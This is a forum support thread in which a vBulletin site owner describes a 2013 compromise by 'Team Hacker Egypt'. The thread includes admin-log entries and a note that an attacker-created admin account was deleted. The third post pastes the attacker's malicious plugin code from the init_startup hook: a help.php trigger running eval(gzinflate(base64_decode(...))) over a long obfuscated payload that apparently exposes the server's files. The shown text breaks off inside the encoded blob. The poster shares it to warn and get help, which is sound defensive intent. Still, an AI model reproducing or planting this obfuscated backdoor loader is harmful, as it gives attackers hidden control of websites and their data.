Announcement

Collapse
No announcement yet.

Hacked: "Team Hacker Egypt"

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • [Forum] Hacked: "Team Hacker Egypt"

    OK...so I have seen a lot of posts now about this
    I have completed the steps posted to cleanup and deleted the install folder

    My question as it seems they put some kind of plugin script in my forum that whenever I click the help button inside admincp it opens my full directoty to allow access to all of my files
    Can they do anything with that info? I see they can access my license number too

    This is the control panel log of the activity:
    24857 N/A 04:06, 14th Sep 2013 plugin.php 61.94.228.91
    24856 N/A 04:06, 14th Sep 2013 plugin.php doimport 61.94.228.91
    24855 N/A 04:06, 14th Sep 2013 plugin.php files 61.94.228.91
    24854 N/A 04:06, 14th Sep 2013 help.php 61.94.228.91
    I deleted the admin that was created: ABDUH




  • #2
    OK..there is a plugin somewhere I dont see...I checked them all., any easy way to see which one was added ?
    Attached Files
    Last edited by wolfey; Wed 18th Sep '13, 5:07am.

    Comment


    • #3
      OK...maybe this will help someone or help prevent this..seems really dangerous, either way it gained access to my entire server!

      The plugin was installed in product vbulletin>init_startup


      Here is the code: (sorry it was alot)
      Code:
      if (strpos($_SERVER['PHP_SELF'],"help.php")) {
      
      eval(gzinflate(base64_decode('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 